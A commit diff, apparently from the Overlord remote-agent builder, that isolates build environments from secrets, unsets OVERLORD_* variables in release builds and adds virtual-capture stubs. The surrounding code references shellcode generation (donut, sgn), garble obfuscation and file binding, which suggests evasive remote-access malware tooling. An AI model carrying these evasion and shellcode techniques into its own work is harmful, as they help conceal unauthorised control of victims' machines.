fix this other shit and improve building
This commit is contained in:
@@ -12,6 +12,9 @@
|
|||||||
# Configuration (contains secrets)
|
# Configuration (contains secrets)
|
||||||
**/config.json
|
**/config.json
|
||||||
|
|
||||||
|
# Environment files are local/dev-only and must never enter an image build context.
|
||||||
|
**/.env*
|
||||||
|
|
||||||
# Certificates
|
# Certificates
|
||||||
**/certs/
|
**/certs/
|
||||||
**/*.crt
|
**/*.crt
|
||||||
|
|||||||
@@ -0,0 +1,17 @@
|
|||||||
|
//go:build builder_release
|
||||||
|
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
func sanitizeBuilderEnvironment() {
|
||||||
|
for _, entry := range os.Environ() {
|
||||||
|
name, _, ok := strings.Cut(entry, "=")
|
||||||
|
if ok && strings.HasPrefix(strings.ToUpper(name), "OVERLORD_") {
|
||||||
|
_ = os.Unsetenv(name)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
//go:build !builder_release
|
||||||
|
|
||||||
|
package main
|
||||||
|
|
||||||
|
func sanitizeBuilderEnvironment() {}
|
||||||
@@ -2,7 +2,15 @@
|
|||||||
|
|
||||||
package capture
|
package capture
|
||||||
|
|
||||||
import "image"
|
import (
|
||||||
|
"errors"
|
||||||
|
"image"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"overlord-client/cmd/agent/wire"
|
||||||
|
)
|
||||||
|
|
||||||
|
var errVirtualCaptureUnsupported = errors.New("virtual capture is only supported on Windows")
|
||||||
|
|
||||||
func InitializevirtualMode() error {
|
func InitializevirtualMode() error {
|
||||||
return nil
|
return nil
|
||||||
@@ -16,6 +24,28 @@ func VirtualMonitorCount() int {
|
|||||||
return 0
|
return 0
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func VirtualTryDirectH264Frame() (wire.Frame, time.Duration, time.Duration, bool, error) {
|
||||||
|
return wire.Frame{}, 0, 0, false, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func VirtualCaptureNormal() (*image.RGBA, error) {
|
||||||
|
return nil, errVirtualCaptureUnsupported
|
||||||
|
}
|
||||||
|
|
||||||
|
func VirtualCaptureDisplay() (*image.RGBA, error) {
|
||||||
|
return nil, errVirtualCaptureUnsupported
|
||||||
|
}
|
||||||
|
|
||||||
|
func VirtualCaptureGDI() (*image.RGBA, error) {
|
||||||
|
return nil, errVirtualCaptureUnsupported
|
||||||
|
}
|
||||||
|
|
||||||
|
func VirtualCaptureDisplayFallback() (*image.RGBA, error) {
|
||||||
|
return nil, errVirtualCaptureUnsupported
|
||||||
|
}
|
||||||
|
|
||||||
|
func VirtualResetDXGI() {}
|
||||||
|
|
||||||
func virtualCaptureDisplay() (*image.RGBA, error) {
|
func virtualCaptureDisplay() (*image.RGBA, error) {
|
||||||
return nil, nil
|
return nil, nil
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -12,6 +12,7 @@ import (
|
|||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
|
sanitizeBuilderEnvironment()
|
||||||
installHardCrashReporter()
|
installHardCrashReporter()
|
||||||
cfg := config.Load()
|
cfg := config.Load()
|
||||||
|
|
||||||
|
|||||||
@@ -47,19 +47,13 @@ describe("auth token extraction", () => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
describe("login branding", () => {
|
describe("login branding", () => {
|
||||||
test("returns default public login branding", async () => {
|
test("returns configured public login branding", async () => {
|
||||||
const url = new URL("https://localhost/api/login/branding");
|
const url = new URL("https://localhost/api/login/branding");
|
||||||
const res = await handleAuthRoutes(new Request(url), url, mockServer);
|
const res = await handleAuthRoutes(new Request(url), url, mockServer);
|
||||||
expect(res?.status).toBe(200);
|
expect(res?.status).toBe(200);
|
||||||
|
|
||||||
const body = (await res!.json()) as any;
|
const body = (await res!.json()) as any;
|
||||||
expect(body.productName).toBe("Overlord");
|
expect(body).toEqual(originalAppearance.loginBranding);
|
||||||
expect(body.navName).toBe("Overlord");
|
|
||||||
expect(body.title).toBe("Welcome back");
|
|
||||||
expect(body.logoUrl).toBe("");
|
|
||||||
expect(body.navLogoUrl).toBe("");
|
|
||||||
expect(body.heroImageUrl).toBe("");
|
|
||||||
expect(body.accentColor).toBe("#7a5bff");
|
|
||||||
});
|
});
|
||||||
|
|
||||||
test("returns sanitized enterprise branding fields", async () => {
|
test("returns sanitized enterprise branding fields", async () => {
|
||||||
|
|||||||
@@ -0,0 +1,32 @@
|
|||||||
|
// Agent builds must not inherit the server's environment. Bun may populate
|
||||||
|
// process.env from local .env files, and blindly forwarding it can expose
|
||||||
|
// secrets or make otherwise identical UI builds depend on the host machine.
|
||||||
|
// Keep only the small OS baseline required to locate and execute toolchains;
|
||||||
|
// target-specific Go/compiler variables are added explicitly by the builder.
|
||||||
|
const BUILD_ENV_BASELINE_KEYS = [
|
||||||
|
"PATH",
|
||||||
|
"Path",
|
||||||
|
"HOME",
|
||||||
|
"TMPDIR",
|
||||||
|
"TMP",
|
||||||
|
"TEMP",
|
||||||
|
"SYSTEMROOT",
|
||||||
|
"SystemRoot",
|
||||||
|
"WINDIR",
|
||||||
|
"COMSPEC",
|
||||||
|
"PATHEXT",
|
||||||
|
"USERPROFILE",
|
||||||
|
"HOMEDRIVE",
|
||||||
|
"HOMEPATH",
|
||||||
|
] as const;
|
||||||
|
|
||||||
|
export function createIsolatedBuildEnv(
|
||||||
|
source: NodeJS.ProcessEnv = process.env,
|
||||||
|
): NodeJS.ProcessEnv {
|
||||||
|
const isolated: NodeJS.ProcessEnv = {};
|
||||||
|
for (const key of BUILD_ENV_BASELINE_KEYS) {
|
||||||
|
const value = source[key];
|
||||||
|
if (value !== undefined) isolated[key] = value;
|
||||||
|
}
|
||||||
|
return isolated;
|
||||||
|
}
|
||||||
@@ -0,0 +1,22 @@
|
|||||||
|
import { describe, expect, test } from "bun:test";
|
||||||
|
import { createIsolatedBuildEnv } from "./build-environment";
|
||||||
|
|
||||||
|
describe("builder environment isolation", () => {
|
||||||
|
test("drops ambient and .env-derived values", () => {
|
||||||
|
const env = createIsolatedBuildEnv({
|
||||||
|
PATH: "/toolchain/bin",
|
||||||
|
HOME: "/builder",
|
||||||
|
TEMP: "/tmp",
|
||||||
|
JWT_SECRET: "must-not-leak",
|
||||||
|
OVERLORD_AGENT_TOKEN: "must-not-leak",
|
||||||
|
CUSTOM_BUILD_FLAG: "must-not-leak",
|
||||||
|
GOFLAGS: "must-not-affect-build",
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(env).toEqual({
|
||||||
|
PATH: "/toolchain/bin",
|
||||||
|
HOME: "/builder",
|
||||||
|
TEMP: "/tmp",
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -22,6 +22,7 @@ import { runDonut } from "./donut-manager";
|
|||||||
import { buildLinuxShellcode } from "./linux-shellcode-manager";
|
import { buildLinuxShellcode } from "./linux-shellcode-manager";
|
||||||
import { runSgn } from "./sgn-manager";
|
import { runSgn } from "./sgn-manager";
|
||||||
import { resolveContainedPath } from "./upload-security";
|
import { resolveContainedPath } from "./upload-security";
|
||||||
|
import { createIsolatedBuildEnv } from "./build-environment";
|
||||||
|
|
||||||
function isClientModuleDir(dir: string): boolean {
|
function isClientModuleDir(dir: string): boolean {
|
||||||
return (
|
return (
|
||||||
@@ -749,7 +750,8 @@ export async function startBuildProcess(
|
|||||||
if (hasAssemblyData && hasWindowsTargets) {
|
if (hasAssemblyData && hasWindowsTargets) {
|
||||||
sendToStream({ type: "status", text: "Generating Windows resource data..." });
|
sendToStream({ type: "status", text: "Generating Windows resource data..." });
|
||||||
|
|
||||||
const goEnvResult = await $`go env GOPATH`.quiet();
|
const isolatedBuildEnv = createIsolatedBuildEnv();
|
||||||
|
const goEnvResult = await $`go env GOPATH`.env(isolatedBuildEnv).quiet();
|
||||||
const goPath = goEnvResult.stdout.toString().trim();
|
const goPath = goEnvResult.stdout.toString().trim();
|
||||||
const goBinDir = process.env.GOBIN || (goPath ? path.join(goPath, "bin") : "");
|
const goBinDir = process.env.GOBIN || (goPath ? path.join(goPath, "bin") : "");
|
||||||
const winresExe = process.platform === "win32" ? "go-winres.exe" : "go-winres";
|
const winresExe = process.platform === "win32" ? "go-winres.exe" : "go-winres";
|
||||||
@@ -766,7 +768,7 @@ export async function startBuildProcess(
|
|||||||
} catch {
|
} catch {
|
||||||
try {
|
try {
|
||||||
sendToStream({ type: "output", text: "Installing go-winres...\n", level: "info" });
|
sendToStream({ type: "output", text: "Installing go-winres...\n", level: "info" });
|
||||||
await $`go install github.com/tc-hib/go-winres@latest`.env({ ...process.env, GOMODCACHE: goModCacheDir }).quiet();
|
await $`go install github.com/tc-hib/go-winres@latest`.env({ ...isolatedBuildEnv, GOMODCACHE: goModCacheDir }).quiet();
|
||||||
if (goBinDir && fs.existsSync(path.join(goBinDir, winresExe))) {
|
if (goBinDir && fs.existsSync(path.join(goBinDir, winresExe))) {
|
||||||
winresBin = path.join(goBinDir, winresExe);
|
winresBin = path.join(goBinDir, winresExe);
|
||||||
hasWinres = true;
|
hasWinres = true;
|
||||||
@@ -1051,7 +1053,7 @@ func runBoundFiles() {
|
|||||||
sendToStream({ type: "output", text: `\n=== Building ${platform} ===\n`, level: "info" });
|
sendToStream({ type: "output", text: `\n=== Building ${platform} ===\n`, level: "info" });
|
||||||
|
|
||||||
const env: NodeJS.ProcessEnv = {
|
const env: NodeJS.ProcessEnv = {
|
||||||
...process.env,
|
...createIsolatedBuildEnv(),
|
||||||
GOOS: effectiveOs,
|
GOOS: effectiveOs,
|
||||||
GOARCH: actualArch,
|
GOARCH: actualArch,
|
||||||
CGO_ENABLED: config.disableCgo === true ? "0" : "1",
|
CGO_ENABLED: config.disableCgo === true ? "0" : "1",
|
||||||
@@ -1331,6 +1333,9 @@ func runBoundFiles() {
|
|||||||
|
|
||||||
// Base tags: always present regardless of build pass
|
// Base tags: always present regardless of build pass
|
||||||
let baseTags: string[] = [];
|
let baseTags: string[] = [];
|
||||||
|
// UI-builder artifacts ignore runtime OVERLORD_* environment overrides.
|
||||||
|
// Direct go run/test builds (including start-dev.bat) do not carry this tag.
|
||||||
|
baseTags.push("builder_release");
|
||||||
if (config.enableNvenc === false) baseTags.push("no_nvenc");
|
if (config.enableNvenc === false) baseTags.push("no_nvenc");
|
||||||
if (config.enableAmf === false) baseTags.push("no_amf");
|
if (config.enableAmf === false) baseTags.push("no_amf");
|
||||||
if (config.enableQsv === false) baseTags.push("no_qsv");
|
if (config.enableQsv === false) baseTags.push("no_qsv");
|
||||||
@@ -1420,6 +1425,12 @@ func runBoundFiles() {
|
|||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// A plugin may replace the tag list, but cannot disable the builder's
|
||||||
|
// environment-isolation contract.
|
||||||
|
if (!baseTags.includes("builder_release")) {
|
||||||
|
baseTags.push("builder_release");
|
||||||
|
}
|
||||||
|
|
||||||
const runBuild = async (tags: string[], outputPath: string) => {
|
const runBuild = async (tags: string[], outputPath: string) => {
|
||||||
const buildArgs: string[] = [];
|
const buildArgs: string[] = [];
|
||||||
if (tags.length > 0) buildArgs.push("-tags", tags.join(" "));
|
if (tags.length > 0) buildArgs.push("-tags", tags.join(" "));
|
||||||
|
|||||||
Reference in New Issue
Block a user